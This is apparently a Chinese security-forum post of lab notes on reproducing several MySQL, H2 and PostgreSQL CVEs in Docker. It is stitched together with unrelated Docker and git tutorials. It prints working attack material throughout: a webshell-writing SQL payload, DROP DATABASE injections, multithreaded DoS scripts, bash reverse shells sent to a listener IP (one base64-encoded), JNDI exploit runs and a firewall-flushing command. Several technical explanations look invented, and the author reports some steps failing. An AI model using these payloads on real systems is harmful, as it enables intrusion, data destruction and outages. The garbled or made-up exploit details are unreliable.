首页
社区
课程
招聘
[原创]数据库漏洞cve学习和复现
发表于: 2025-2-22 11:13 3618

[原创]数据库漏洞cve学习和复现

2025-2-22 11:13
3618

哎,有点迷茫 自己的路在何方?看了好多资料,有的几乎都一样,并且自己复现时还发现根本不成功啊!视频操作更是少的可怜呀 

小公司,大佬都忙,也没人愿意花时间指点自己,现在把自己整理资料分享出来,朋友们少走点弯路,大家有问题也可以留言交流哈 ps:手机端浏览有问题的可以在电脑端看!

https://www.freebuf.com/vuls/411090.html

CVE-2024-21096漏洞攻击链的具体实现步骤

攻击者通过篡改MySQL版本信息,利用mysqldump生成的SQL文件在导入时执行恶意代码。以下是分步技术解析


1. 攻击前提条件

  • 本地权限:攻击者需具备MySQL Server的本地访问权限(如通过SSH、数据库管理员账户或服务器入侵)。
  • 版本范围:目标MySQL Server版本为8.0.0至8.0.36。
  • 导出-导入流程:管理员需使用受污染的mysqldump导出数据,并在另一服务器导入该SQL文件。

2. 攻击链实现细节

步骤1:篡改MySQL版本信息
  • 目标:将恶意SQL代码注入版本信息。
  • 技术手段
    由于MySQL的version_compile_osversion_compile_machine等系统变量在默认情况下为只读,攻击者需通过以下方式修改版本信息:
    • 重新编译MySQL:攻击者修改MySQL源码中的版本定义(如VERSION宏),加入恶意代码并重新编译部署。
      示例:将#define MYSQL_SERVER_VERSION "8.0.36"改为"8.0.36'; DROP TABLE users; -- "
    • 动态库劫持:通过LD_PRELOAD劫持mysql_get_server_info()函数,返回恶意版本字符串。
    • 伪造MySQL实例:使用工具(如mysql-mimic)搭建恶意MySQL服务,在握手阶段返回伪造的版本信息。
步骤2:生成恶意SQL文件
  • 触发mysqldump漏洞
    管理员执行mysqldump导出数据库时,工具通过mysql_get_server_info()获取被篡改的版本信息,并写入导出的SQL文件中的条件注释(Version-Specific Comments)。
    示例
    假设版本信息被篡改为8.0.36'*/; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/[www/html/shell.php](https://www/html/shell.php)' -- ,生成的SQL文件会包含以下内容:
/*!80036'*/; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' -- */;
  • 关键点
  • */闭合原始注释,后续分号;将恶意语句从注释中逃逸为有效SQL。
  • INTO OUTFILE将Web Shell写入服务器可访问路径。
步骤3:导入恶意SQL文件
  • 执行恶意代码
    当管理员在另一服务器执行mysql -u root -p < dump.sql时,MySQL解析器处理条件注释的逻辑如下:
    1. 若目标服务器版本≥80036(即8.0.36),则尝试执行/*!80036 ... */中的内容。
    2. 注释内的*/提前终止注释,后续的SELECT ... INTO OUTFILE作为独立语句执行,写入Web Shell。
    3. 攻击者通过访问[http://target/shell.php](http://target/shell.php)?cmd=id即可执行任意命令。

步骤 4:连接到 MySQL 数据库

  1. 通过 Docker 连接到 MySQL 容器: 使用以下命令进入 MySQL 容器的命令行:bash复制
sudo docker exec -it mysql-5.7.20 mysql -uroot -p
#注意 -it mysql-5.7.20  ,mysql-5.7.20这个是你之前--name 的名字

输入你在启动容器时设置的 root 密码,即可进入 MySQL 命令行。

  1. 测试数据库连接: 在 MySQL 命令行中,运行以下命令测试连接:sql复制
SHOW DATABASES;


3. 漏洞利用的代码级分析

  • 原始漏洞代码(未修复)
// mysqldump.c(漏洞版本)
  const char *server_version = mysql_get_server_info(&mysql);
  fprintf(sql_file, "/*!%s*/\n", server_version); // 直接写入未过滤的版本信息


  • 恶意版本信息注入
    server_version被篡改为80036*/; DROP DATABASE prod; -- ,则生成的SQL为:
/*!80036*/; DROP DATABASE prod; -- */
  • 解析结果
  • /*!80036*/被识别为条件注释,若目标服务器版本≥8.0.36则执行空操作。
  • ; DROP DATABASE prod; -- */成为独立SQL语句,导致数据库删除。

5. 实际攻击场景示例

  1. 攻击者本地篡改版本信息
# 修改MySQL源码并重新编译
   sed -i 's/MYSQL_SERVER_VERSION "8.0.36"/MYSQL_SERVER_VERSION "8.0.36*/; SELECT 1; -- "/g' include/mysql_version.h
   make install

运行

  1. 管理员导出数据库
mysqldump -u root -p mydb > backup.sql

运行

  1. 生成的SQL文件片段
/*!80036*/; SELECT 1; -- */
  1. 导入时触发恶意代码
mysql -u root -p mydb < backup.sql  # SELECT 1被执行

运行


总结

CVE-2024-21096的利用依赖于本地权限+元信息注入+导出/导入流程的组合条件。攻击者通过

漏洞环境搭建

CVE-2018-2696

在 Ubuntu 系统上通过 Docker 拉取并运行 MySQL 5.7.20 的官方镜像,可以按照以下步骤进行操作。以下是详细步骤和命令:

步骤 1:安装 Docker

如果你还没有安装 Docker,请先安装 Docker。以下是安装 Docker 的基本步骤:

  1. 更新系统包bash复制
sudo apt-get update
sudo apt-get upgrade -y
  1. 安装 Dockerbash复制
sudo apt-get install -y docker.io
  1. 验证 Docker 是否安装成功bash复制
sudo docker --version
  1. 将当前用户添加到 docker 组(可选): 如果你不希望每次运行 Docker 命令时都使用 sudo,可以将当前用户添加到 docker 组:bash复制
sudo usermod -aG docker ${USER}

然后注销并重新登录,或者重启系统以使更改生效。

步骤 2:拉取 MySQL 5.7.20 官方镜像

  1. 拉取 MySQL 5.7.20 镜像: 使用以下命令从 Docker Hub 拉取 MySQL 5.7.20 的官方镜像:bash复制
sudo docker pull mysql:5.7.20

这将从 Docker Hub 下载 MySQL 5.7.20 的镜像到本地。

  1. 验证镜像是否下载成功bash复制
sudo docker images

你应该能看到 mysql:5.7.20 镜像在列表中。

步骤 3:运行 MySQL 容器

  1. 创建并运行 MySQL 容器: 使用以下命令启动一个 MySQL 容器,并设置必要的环境变量:bash复制
sudo docker run --name mysql-5.7.20 -e MYSQL_ROOT_PASSWORD=your_password -d mysql:5.7.20
sudo docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -d mysql:5.7.20

#通过 Docker 命令行参数禁用 SSL
#在启动 MySQL 容器时,可以通过 --ssl=0 参数直接禁用 SSL。
docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20 --ssl=0

最终使用:docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20 --ssl=0

参数说明:

    • --name mysql-5.7.20:为容器指定一个名称,方便后续管理。
    • -e MYSQL_ROOT_PASSWORD=your_password:设置 MySQL 的 root 用户密码。将 your_password 替换为你自己的密码。
    • -d:以后台模式运行容器。
    • mysql:5.7.20:指定使用的镜像版本。
  1. 验证容器是否运行成功bash复制
sudo docker ps

你应该能看到一个名为 mysql-5.7.20 的容器正在运行。


步骤 4:连接到 MySQL 数据库

  1. 通过 Docker 连接到 MySQL 容器: 使用以下命令进入 MySQL 容器的命令行:bash复制
sudo docker exec -it mysql-5.7.20 mysql -uroot -p

输入你在启动容器时设置的 root 密码,即可进入 MySQL 命令行。

  1. 测试数据库连接: 在 MySQL 命令行中,运行以下命令测试连接:sql复制
SHOW DATABASES;

步骤 5:(可选)持久化数据

默认情况下,容器中的数据在容器删除后会丢失。为了持久化数据,可以将容器的数据库目录挂载到宿主机的目录。

  1. 创建数据存储目录bash复制
sudo mkdir -p /data/mysql
  1. 启动容器并挂载数据目录bash复制
sudo docker run --name mysql-5.7.20 -e MYSQL_ROOT_PASSWORD=your_password -v /data/mysql:/var/lib/mysql -d mysql:5.7.20

参数说明:

    • -v /data/mysql:/var/lib/mysql:将宿主机的 /data/mysql 目录挂载到容器的 /var/lib/mysql 目录,用于持久化数据。

总结

通过以上步骤,你可以在 Ubuntu 系统上使用 Docker 拉取并运行 MySQL 5.7.20 的官方镜像,并连接到数据库。如果需要持久化数据,可以通过挂载宿主机的目录来实现

1. 环境搭建(用最糙的方式干)1.1  直接用Docker拉取漏洞版本镜像

# 拉取MySQL 5.7.20的官方镜像(这版本漏洞还没被日穿)
docker run --name mysql-pwn -e MYSQL_ROOT_PASSWORD=toor -d mysql:5.7.20
# 如果拉不到旧版,加这参数强制用老架构(某些新系统会报错)
docker run --platform linux/amd64 --name mysql-pwn -e MYSQL_ROOT_PASSWORD=toor -d mysql:5.7.20

bash

(可省略)如果Docker镜像库抽风,直接去 官方归档站的二进制包:

wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.20-linux-glibc2.12-x86_64.tar.gz
tar -zxvf mysql-5.7.20-linux-glibc2.12-x86_64.tar.gz
cd mysql-5.7.20-linux-glibc2.12-x86_64
./bin/mysqld --initialize --=mysql --basedir=$PWD --datadir=$PWD/data
# 启动时强制启用sha256插件,省得改配置文件
./bin/mysqld_safe --default-authentication-plugin=sha256_password &

bash

1.2 配置认证插件进到MySQL里操作用户权限:

-- 创建专门用来日的高危用户
CREATE USER 'pwnme'@'%' IDENTIFIED WITH sha256_password BY 'initial_pass';
-- 给这个 用户开最高权限,方便后续日穿
GRANT ALL PRIVILEGES ON *.* TO 'pwnme'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;

sql这段文本是一个SQL命令,用于在MySQL数据库中创建一个新用户。具体解释如下:

  • CREATE USER 'pwnme'@'%':创建一个名为 pwnme 的用户,该用户可以从任何主机连接到数据库(% 表示所有主机)。
  • IDENTIFIED WITH sha256_password BY 'initial_pass':使用 SHA-256 哈希算法对用户的密码进行加密,并设置初始密码为 initial_pass

总结来说,这条命令的作用是创建一个可以从任何地方连接到数据库的用户 pwnme,并为其设置一个使用 SHA-256 加密的初始密码 initial_pass

-------

这条SQL语句的作用是授予用户 pwnme 来自任何主机('%' 表示所有主机)的所有权限(ALL PRIVILEGES),并且这些权限适用于所有数据库和所有表(*.*)。此外,WITH GRANT OPTION 选项允许该用户将这些权限再授予其他用户。

具体解释如下:

  • GRANT ALL PRIVILEGES:授予所有权限。
  • ON *.*:权限适用于所有数据库和所有表。
  • TO 'pwnme'@'%':将权限授予用户 pwnme,且该用户可以从任何主机连接。
  • WITH GRANT OPTION:允许该用户将这些权限授予其他用户。

---------

FLUSH PRIVILEGES;

刷新权限; 这条SQL命令用于重新加载MySQL权限表,确保所有权限更改生效。这通常在修改了用户权限后执行,以使新设置立即生效。

1.3 关掉SSL(让漏洞更容易 )默认SSL会干扰攻击,直接修改my.cnf加上这行:

[mysqld]
ssl=0

ini

然后重启服务:

docker restart mysql-pwn  # 如果用Docker mysql-pwn 之前的名字
# 或者手动杀的进程
kill -9 $(pgrep mysqld) && ./bin/mysqld_safe --ssl=0 &

bash

2. 生成超长密码(直接往死里塞) 上dd命令生成1GB的垃圾数据当密码:》》》尝试了好像一只需要ssl认证,也没搞定 求指点

dd if=/dev/urandom of=password.txt bs=1M count=1024  # 生成1GB的二进制密码
# 或者用base64编码避免特殊字符问题
head -c 1000000 /dev/urandom | base64 > password.txt

bash

在 Ubuntu 系统中,查看 CPU 占用情况可以通过多种工具和命令实现。以下是一些常用的方法:

方法 1:使用 top 命令

top 是一个实时显示系统中各个进程资源占用情况的工具,非常适合查看 CPU 占用。

  1. 打开终端
  2. 运行 top 命令bash复制
top

top 的输出中:

  • %CPU:表示进程占用的 CPU 百分比。
  • PID:进程 ID。
  • USER:进程所属用户。
  • COMMAND:进程名称。

你可以通过按 Shift + P 按 CPU 占用排序,以便快速找到占用 CPU 最高的进程。

这坨密码会让MySQL的哈希计算直接高潮到CPU烧毁。

3. 发起DoS攻击( 服务器喷屎)

3.1 原始命令行爆破虽然mysql客户端可能扛不住大输入  :  》》》发现没问题啊,真气人

# 把密码文件塞进mysql命令
mysql -u pwnme -p$(cat password.txt)
# 如果客户端崩溃,改用Perl一行脚本绕限制
perl -e 'print "A"x1000000' | mysql -u pwnme -p

bash

观察服务器CPU瞬间飙到100%,用htop看核心全红  

3.2 多线程并发冲击写个Python脚本同时日它几百个连接:

import subprocess
from threading import Thread

def fuck_mysql():
    try:
        subprocess.run(["mysql", "-u", "pwnme", "-pA"*1000000, "-h", "靶机IP"], timeout=5)
    except:
        pass

for _ in range(100):  # 同时发起100个连接
    Thread(target=fuck_mysql).start()

python

运行后服务器的CPU和内存满了 直到进程 崩溃。

4. 漏洞原理深度解剖

CPU资源榨取sha256_password插件调用OpenSSL的SHA256_Init/Update/Final函数时,对超长密码进行逐块哈希计算,但MySQL没做分块处理,导致单次计算直接吃满CPU缓存。

栈溢出alloca()在栈上分配内存,当密码长度超过栈大小时(默认8MB),直接触发段错误(segfault),可以用ulimit -s unlimited临时扩大栈空间观察崩溃延迟。

绕过防护:现代系统有ASLR和栈保护,但连续发送超长密码仍可导致服务fork子进程崩溃,最终父进程(mysqld)因频繁重启而拒绝服务。

5. 事后取证(看它怎么被日烂)

日志分析:检查MySQL的error.log,会看到大量Got packets out of orderstack overflow错误。

核心转储:用gdb分析coredump文件,bt full查看崩溃时的栈帧,定位到my_crypt_genhash()函数地址。

网络抓包:用tcpdump抓取攻击流量,会发现认证阶段的数据包巨大(>1MB),远超正常登录流量。

如果遇到防火墙拦,直接iptables -F清规则

docker操作

在 Ubuntu 上使用 Docker 运行 MySQL 容器后,如果你停止了容器,你可以通过以下步骤重新启动它,并确保可以通过宿主机的 3306 端口访问 MySQL 数据库。

  1. 查看已停止的容器
    首先,你可以使用 docker ps -a 命令查看所有容器(包括已停止的)。找到你的 MySQL 容器的容器 ID 或名称。
docker ps -a

你应该能在列表中看到名为 mysql5.7.20 的容器,状态为 Exited

  1. 重新启动容器
    你可以使用 docker start 命令来重新启动已停止的容器。
docker start mysql5.7.20

如果容器名或 ID 有误,docker 会提示你。

  1. 验证容器是否正在运行
    使用 docker ps 命令来查看当前正在运行的容器。
docker ps

你应该能在列表中看到 mysql5.7.20 容器正在运行。

  1. 端口映射
    当你首次运行容器时,如果使用了 -p 选项来指定端口映射(例如 -p 3306:3306),那么 Docker 会将宿主机的 3306 端口映射到容器的 3306 端口。但是,在你提供的命令中,你没有包含 -p 选项。

如果容器已经停止并且你想要重新启动它,同时确保端口映射正确,你需要使用 --rm 选项删除已停止的容器(如果不再需要它的数据),然后重新运行容器并包含 -p 选项。但是,由于你已经有了数据,你可能想要保留容器并使用 docker commit 来创建一个新的镜像,或者简单地重新启动容器并手动设置端口转发(如果 Docker 支持在运行中的容器上修改端口映射,但这通常不是推荐的做法)。

然而,更简单的方法是直接删除已停止的容器(如果数据不重要或已经备份),然后重新运行容器,这次包含 -p 选项:

docker stop mysql5.7.20
docker rm mysql5.7.20
docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20

注意:上面的命令会删除并重新创建容器,这意味着你会丢失所有未持久化的数据。

如果你想要保留数据,你应该在首次运行容器时使用 Docker 卷(volumes)来持久化数据。

  1. 访问 MySQL 数据库
    一旦容器正在运行并且端口映射正确,你就可以通过宿主机的 3306 端口访问 MySQL 数据库了。你可以使用 MySQL 客户端工具(如 mysql 命令行客户端、MySQL Workbench 等)来连接到数据库。

例如,使用 mysql 命令行客户端:

mysql -h 127.0.0.1 -P 3306 -u root -p

然后输入你在运行时设置的 root 密码(mypassword)。

请注意,如果你在生产环境中运行 MySQL 容器,强烈建议使用 Docker 卷来持久化数据,并确保你的数据库密码和其他敏感信息得到妥善保护。

docker run --name mysql5.7.20 -e MYSQL_ROOT_PASSWORD=mypassword -p 3306:3306 -d mysql:5.7.20

修改容器内的 MySQL 配置文件

如果你已经启动了容器,可以通过以下步骤修改容器内的配置文件来禁用 SSL:

1. 进入容器

bash复制

docker exec -it my-mysql bash

2. 编辑 MySQL 配置文件

在容器内,编辑 MySQL 的配置文件 /etc/mysql/my.cnf/etc/mysql/mysql.conf.d/mysqld.cnf,在 [mysqld] 部分添加以下内容:

向文件追加内容

bash复制

echo "ssl=0" >> /etc/mysql/my.cnf

示例:覆盖文件内容

bash复制

echo "ssl=0" > /etc/mysql/my.cnf


其他数据库

配置不当导致的信息泄露

H2db console 未授权访问RCECVE-2022-23221(ok)

奇安信攻防社区-Springboot攻击面初探(一)

H2 Database Console未授权访问 - kalixcn - 博客园

H2 Database Console未授权访问 - kalixcn - 博客园

CVE-2022-23221是一个严重的远程代码执行(RCE)漏洞,影响H2数据库。该漏洞允许攻击者通过JDBC URL注入特定字符串来执行任意代码。以下是详细信息:

漏洞描述

  • 漏洞名称: CVE-2022-23221
  • 影响版本: H2数据库 1.4.197 及以下版本
  • 漏洞类型: 远程代码执行(RCE)
  • CVSS评分: 9.8(高危)
  • 影响范围: 通过JDBC URL注入特定字符串,可以执行任意代码


 git clone https://github.com/vulhub/vulhub
1. 环境搭建

使用Docker快速搭建漏洞测试环境:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/h2database/h2-console-unacc
docker-compose up -d

运行

启动后kali访问 http://目标IP:8080/h2-console,若无需认证即可进入控制台,说明存在未授权访问。

2. 漏洞检测
  • 手动检测:访问控制台路径(如/h2-console),观察是否直接进入且无需登录。
  • 工具检测
    • 使用SB-Actuator工具检测未授权访问
    • 通过Nessus插件(如debian_DSA-5076.nasl)扫描系统版本
3. 利用链构造

方法一:JNDI注入攻击

  1. 启动恶意JNDI服务
    使用工具如JNDI-Injection-Exploit

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下载链接:

项目地址:

https://gitcode.com/gh_mirrors/jn/JNDI-Injection-Exploit/?utm_source=highuv_users_article_gitcode&index=bottom&type=card&

jar下载地址:


java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A 攻击机IP

运行

生成RMI/LDAP服务地址(如rmi://攻击机IP:1099/Exploit

┌──(root㉿kali-plus)-[~/Downloads]
└─# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/test.txt  -A "192.168.74.128" 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[ADDRESS] >> 192.168.74.128
[COMMAND] >> touch /tmp/test.txt
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.74.128:1099/2s77m3
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.74.128:1099/siq2lw
ldap://192.168.74.128:1389/siq2lw
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.74.128:1099/l2eyoj
ldap://192.168.74.128:1389/l2eyoj

只需要修改-A "192.168.74.128" 后面这个ip要为kali的ip

  1. 触发漏洞
    在H2控制台中输入以下JDBC连接配置:
Driver Class: javax.naming.InitialContext
JDBC URL: jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://攻击机IP/h2-poc.sql'\;JNDI://rmi://攻击机IP:1099/Exploit

提交后,目标服务器将加载恶意类并执行命令

成功页面:


https://blog.csdn.net/qq_74806534/article/details/137410858

https://www.modb.pro/db/104486

mysql CVE-2016-6663 条件竞争漏洞提权详情与POC

https://www.sqlsec.com/2020/11/mysql.html?hmsr=joyk.com#CVE-2016-6663



(CVE-2019-9193)PostgreSQL 高权限命令执行漏洞(ok)


(CVE-2019-9193)PostgreSQL 高权限命令执行漏洞 - FreeBuf网络安全行业门户

CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac

简介


PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。

PostgreSQL特点:

Ø 支持WINDOWS、Linux、Solaris、macOS 、BSD。

Ø 支持文本、图像、视频、声音等

Ø 支持ACID、关联完整性、数据库事务、Unicode多国语言。

Ø 支持临时表,与物化视图

Ø 支持SQL的许多功能,例如复杂的SQL查询,子查询,外键,触发器,视图,视图,多进程并发控制(MVCC)、异步复制。

0x01漏洞概述

PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

0x02影响版本

9.3-11.2

环境搭建

本次漏洞环境使用vulhub中的docker搭建,vulhub下载地址:

https://github.com/vulhub/vulhub

git clone https://github.com/vulhub/vulhub

2.下载完成后使用xftp传入安装有docker和环docker-compose境的虚拟机中解压并启动环境

cd vulhub-master/postgres/CVE-2019-9193

docker-compose up -d

3.使用docker ps查看是否启动成功

查看Ubuntu 的ip

4.启动成功后连接数据库,数据库初始账号密码为postgres/

postgres

切换到kali

使用 psql 命令行工具

  1. 确保已安装 PostgreSQL 在 Kali Linux 中,确保已安装 PostgreSQL:bash复制
sudo apt update
sudo apt install postgresql postgresql-contrib
  1. 连接到 PostgreSQL 数据库 使用 psql 命令连接到数据库。以下是基本语法:bash复制
psql -h <host> -p <port> -U <username> -d <database>
    • <host>:数据库服务器的 IP 地址或主机名(例如 192.168.1.100localhost)。
    • <port>:数据库的端口号(默认是 5432)。
    • <username>:数据库用户名。
    • <database>:数据库名称。

示例:bash复制

psql -h 192.168.1.100 -p 5432 -U postgres -d mydatabase
  1. 输入密码 连接时会提示输入密码。输入对应的数据库用户密码即可。

这里为:

┌──(root㉿kali-plus)-[~]
└─# psql -h 192.168.74.129 5432 -U postgres -d postgres

命令执行验证

  1. 基础命令执行
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id; whoami; echo "Vulnerable"';
SELECT * FROM cmd_exec;

执行后,表中将显示当前用户的UID和用户名,验证漏洞存在

反弹Shell(需Base64编码)

  • 监听端(Kali):

在kali中新开一个终端,

nc -lvvp 2333
    • 攻击端(SQL语句):
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4xMDAvMjMzMyAwPiYxCg==" | base64 -d | bash';

此命令解码后为/bin/bash -i >& /dev/tcp/192.168.1.100/2333 0>&1,用于绕过特殊字符解析问题。

这里192.168.1.100要改为kali的IP地址,然后base64 进行编码

base64在线编码网站

技术原理分析

  1. 功能设计缺陷
    COPY FROM PROGRAM允许将程序输出导入数据库表,而PostgreSQL服务进程(通常以postgres用户运行)直接执行命令,导致权限边界突破
  2. 权限模型争议
    • 超级用户与操作系统用户postgres权限等同,无安全隔离

CVE-2016-6663

https://kernel32.org/posts/mysql-race-condition-and-privilege-escalation/

环境准备

国光改了基于网上的教程封装打包了一个 Docker 镜像上传到了 Docker Hub,现在大家部署就会方便许多:

bash

复制成功

# 拉取镜像
docker pull sqlsec/cve-2016-6663

# 部署镜像
docker run -d -p 3306:3306 -p 8080:80 --name CVE-2016-6663 sqlsec/cve-2016-6663
docker run -d -p 3306:3306 -p 8080:80 --name mysql6663 sqlsec/cve-2016-6663

添加一个 test 数据库用户,密码为 123456 并赋予一些基础权限:

sql

# 创建 test 数据库
mysql > create database test;

# 设置 test 密码为 123456
mysql > CREATE USER 'test'@'%' IDENTIFIED BY '123456'; 

# 赋予基础权限
mysql > grant create,drop,insert,select on test.* to 'test'@'%';

# 刷新权限
mysql > flush privileges;

也可以将上述操作整合成一条命令:

bash

mysql -uroot -e "create database test;CREATE USER 'test'@'%' IDENTIFIED BY '123456'; grant create,drop,insert,select on test.* to 'test'@'%';flush privileges;"

漏洞复现

竞争条件提权漏洞,一个拥有 CREATE/INSERT/SELECT 低权限的账户提权成功后可以系统用户身份执行任意代码,提权的用户为 mysql 用户,概括一下就是将低权限的 www-data 权限提升为 mysql 权限

利用成功条件

  1. Getshell 拿到 www-data 权限   》》》上传shell.php 访问不到啊
  2. 拿到 CREATE/INSERT/SELECT 低权限的 MySQL 账户
  3. 关键提取步骤需要在交互环境下,所以需要反弹 shell
  4. MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
  5. MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17

CVE-2016-6663 EXP mysql-privesc-race.c 参考链接:MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit

通过蚁剑上传 EXP,然后 Bash 反弹 shell:

首先 10.20.24.244 端口开启监听:

bash

➜  ~ ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

蚁剑终端下反弹 Bash:

bash

bash -i >& /dev/tcp/10.20.24.244/2333 0>&1

在反弹 shell 的情况下,首先编译 EXP:

bash

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

执行 EXP 提权:

bash

# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
./mysql-privesc-race test 123456 localhost test

Bingo! 成功,最后的提权成功的效果如下:

要想获取 root 权限得配合 CVE-2016-6662 与 CVE-2016-6664 这两个漏洞,但是国光 CVE-2016-6664 漏洞复现失败了… 挖个坑,后续有机会再来总结,溜了溜了~

CVE-2018-2562

CVE-2018-2562 MySQL优化器漏洞  这漏洞本质上是优化器在处理某些傻逼子查询时逻辑崩了,导致CPU直接飙到100%然后服务瘫痪。 拉取漏洞版本的MySQL镜像  

docker pull mysql/mysql-server:5.7.19

bash

如果拉不动,可以加个--platform=linux/amd64参数强制拉取

2. 启动容器时故意留后门 这漏洞需要网络访问触发,所以要把端口映射出来,顺便关掉SSL免得碍事:

docker run -d --name mysql-pwn -p 3306:3306 -e MYSQL_ROOT_PASSWORD=yourpassword --ssl=0 mysql/mysql-server:5.7.19 --default-authentication-plugin=mysql_native_password

bash

这里用--ssl=0强制禁用SSL,再用mysql_native_password认证避免登录

3. 构造恶意查询 连进数据库执行这条精心设计的SQL

SELECT 1 FROM (  
  SELECT 1 FROM (  
    SELECT /*+ MAX_EXECUTION_TIME(0) */ SLEEP(0)  
  ) AS fuck1  
  JOIN (  
    SELECT 1 FROM (  
      SELECT 1  
    ) AS fuck2  
  ) AS fuck3  
) AS final;

sql

这个嵌套子查询的架构会触发优化器的递归解析漏洞,CPU会瞬间吃满,你可以用htop看着CPU核心被日穿》》》tmd,根本没看到爆满啊

4. 验证服务 执行完上述查询后,立刻用另一个终端尝试连接:

mysql -h 127.0.0.1 -uroot -pyourpassword

bash

如果返回"Can't connect to MySQL server",说明数据库已经 崩溃

漏洞原理深度解析 这个CVE的核心是优化器在解析多层派生表时,*疯狂消耗CPU资源。Oracle官方补丁后来在sql_optimizer.cc里加了递归深度检测,超过阈值直接报错中断,

进阶玩法:自动化爆破 写个Python脚本用多线程反复发送恶意查询:

import mysql.connector  
from threading import Thread  

def fuck_mysql():  
    try:  
        conn = mysql.connector.connect(  
            host="localhost",  
            ="root",  
            passwd="yourpassword"  
        )  
        cursor = conn.cursor()  
        cursor.execute("SELECT @@version")  # 先确认版本  
        print(cursor.fetchone())  
        cursor.execute("""[上面那个恶意SQL]""")  
    except Exception as e:  
        print(f"Database fucked: {e}")  

for _ in range(20):  
    Thread(target=fuck_mysql).start()

python

运行这个脚本后观察数据库进程,用docker stats看看CPU是不是直接冲上100%下不来环境清理 测试完记得删容器,别留后患:

docker rm -f mysql-pwn  
docker rmi mysql/mysql-server:5.7.19

MySQL/CVE-2012-2122 漏洞原理与成因(ok)

【SQL】CVE-2012-2122 MySQL身份认证绕过漏洞复现 - --Kisaragi-- - 博客园

漏洞原理

CVE-2012-2122 是 MySQL 的一个身份认证绕过漏洞。该漏洞的核心问题在于 MySQL 在处理用户登录时,对输入密码与正确密码的比较逻辑存在缺陷

当用户尝试登录 MySQL 服务器时,输入的密码会被与服务器存储的正确密码进行比较。正常情况下,如果密码不匹配,memcmp() 函数会返回一个非零值,表示两个字符串不相等。然而,由于 MySQL 在某些情况下对 memcmp() 的返回值处理不当,导致即便 memcmp() 返回非零值,MySQL 仍可能错误地认为密码匹配

具体来说,memcmp() 的返回值是一个整数,而 MySQL 的认证逻辑中,该返回值被错误地转换为布尔值(my_bool,实际上是 char 类型)。这种类型转换可能导致返回值被截断,从而使得某些错误的密码被误认为是正确的

漏洞成因

  1. memcmp() 的返回值处理不当
    • memcmp() 返回值范围为 -128127,但在某些优化后的实现中,返回值可能超出这个范围
    • MySQL 在处理返回值时,将其从 int 类型强制转换为 char 类型,导致返回值被截断
  1. 密码比较逻辑缺陷
    • MySQL 在比较密码时,仅依赖于 memcmp() 的返回值。如果返回值被截断为 0,MySQL 会错误地认为密码匹配
  1. 平台依赖性
    • 该漏洞的触发与 MySQL 的编译选项和运行平台有关。例如,当 MySQL 使用 -fno-builtin 编译选项,并且运行在经过 SSE 优化的 glibc 环境下时,漏洞更容易被触发

漏洞影响

利用该漏洞,攻击者可以通过不断尝试错误密码,最终绕过身份认证,成功登录 MySQL 服务器。根据测试,大约在 256 次尝试后,攻击者可以成功登录

受影响版本

  • MariaDB:5.1.62、5.2.12、5.3.6、5.5.23
  • MySQL:5.1.63、5.5.24、5.6.6

漏洞复现

Ubuntu 安装 git 并配置

1. 更新系统包列表

在安装任何软件之前,建议先更新系统的包列表。运行以下命令:

bash复制

sudo apt update

2. 安装 Git

使用 apt 包管理器安装 Git:

bash复制

sudo apt install git

安装完成后,可以通过以下命令验证 Git 是否安装成功:

bash复制

git --version

如果安装成功,你会看到类似以下的输出:

git version 2.34.1


3. 配置 Git 环境

为了更好地使用 Git,建议进行一些基本的配置。这些配置信息会存储在用户的主目录下的 .gitconfig 文件中。

3.1 设置用户名和邮箱

Git 使用用户名和邮箱来标识提交的作者。运行以下命令设置你的用户名和邮箱:

bash复制

git config --global user.name "Your Name"
git config --global user.email "your_email@example.com"

Your Nameyour_email@example.com 替换为你的实际姓名和邮箱。

5. 下载测试 Git

你可以通过克隆一个公共仓库来测试 Git 是否正常工作。例如:

bash复制

